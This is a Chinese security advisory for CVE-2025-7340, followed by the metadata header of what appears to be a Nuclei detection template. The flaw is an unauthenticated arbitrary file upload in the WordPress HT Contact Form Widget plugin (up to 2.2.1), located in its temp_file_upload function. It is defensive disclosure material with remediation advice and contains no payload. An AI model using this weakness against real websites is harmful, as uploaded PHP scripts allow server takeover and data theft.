漏洞编号：

• CVE： CVE-2025-7340

漏洞类型： 文件上传

漏洞等级： 严重

漏洞描述： HT Contact Form Widget是WordPress的一个插件，用于创建和管理联系表单。该插件广泛应用于使用WordPress构建的网站中，提供了用户友好的界面和功能，使得网站管理员可以轻松添加联系表单。然而，该插件在版本2.2.1及之前存在一个严重的未授权任意文件上传漏洞。该漏洞源于temp_file_upload函数中缺乏对文件类型的适当验证，使得未经认证的攻击者能够上传任意文件到服务器。这一漏洞的技术根源在于未能正确限制上传文件的类型和内容，导致攻击者可以上传恶意文件，如PHP脚本，进而在服务器上执行任意代码。由于该漏洞不需要任何认证即可利用，攻击者可以轻松地利用此漏洞上传恶意文件，进而可能导致服务器被完全控制，包括数据泄露、恶意代码执行和服务中断等严重后果。因此，该漏洞的严重性评级为’严重’，建议用户立即更新插件到最新版本或移除插件以防止潜在的攻击。

id: CVE-2025-7340

info:
  name: HT Contact Form Widget <= 2.2.1 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    The HT Contact Form Widget plugin for WordPress (≤ v2.2.1) lacks proper file type validation in the temp_file_upload function. This allows unauthenticated attackers to upload arbitrary files to the server.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary files on the server, potentially leading to complete system compromise including data theft, malicious code execution, and server takeover.
  remediation: |
    Update the HT Contact Form Widget plugin to a version newer than 2.2.1 or remove the plugin if no patch is available.
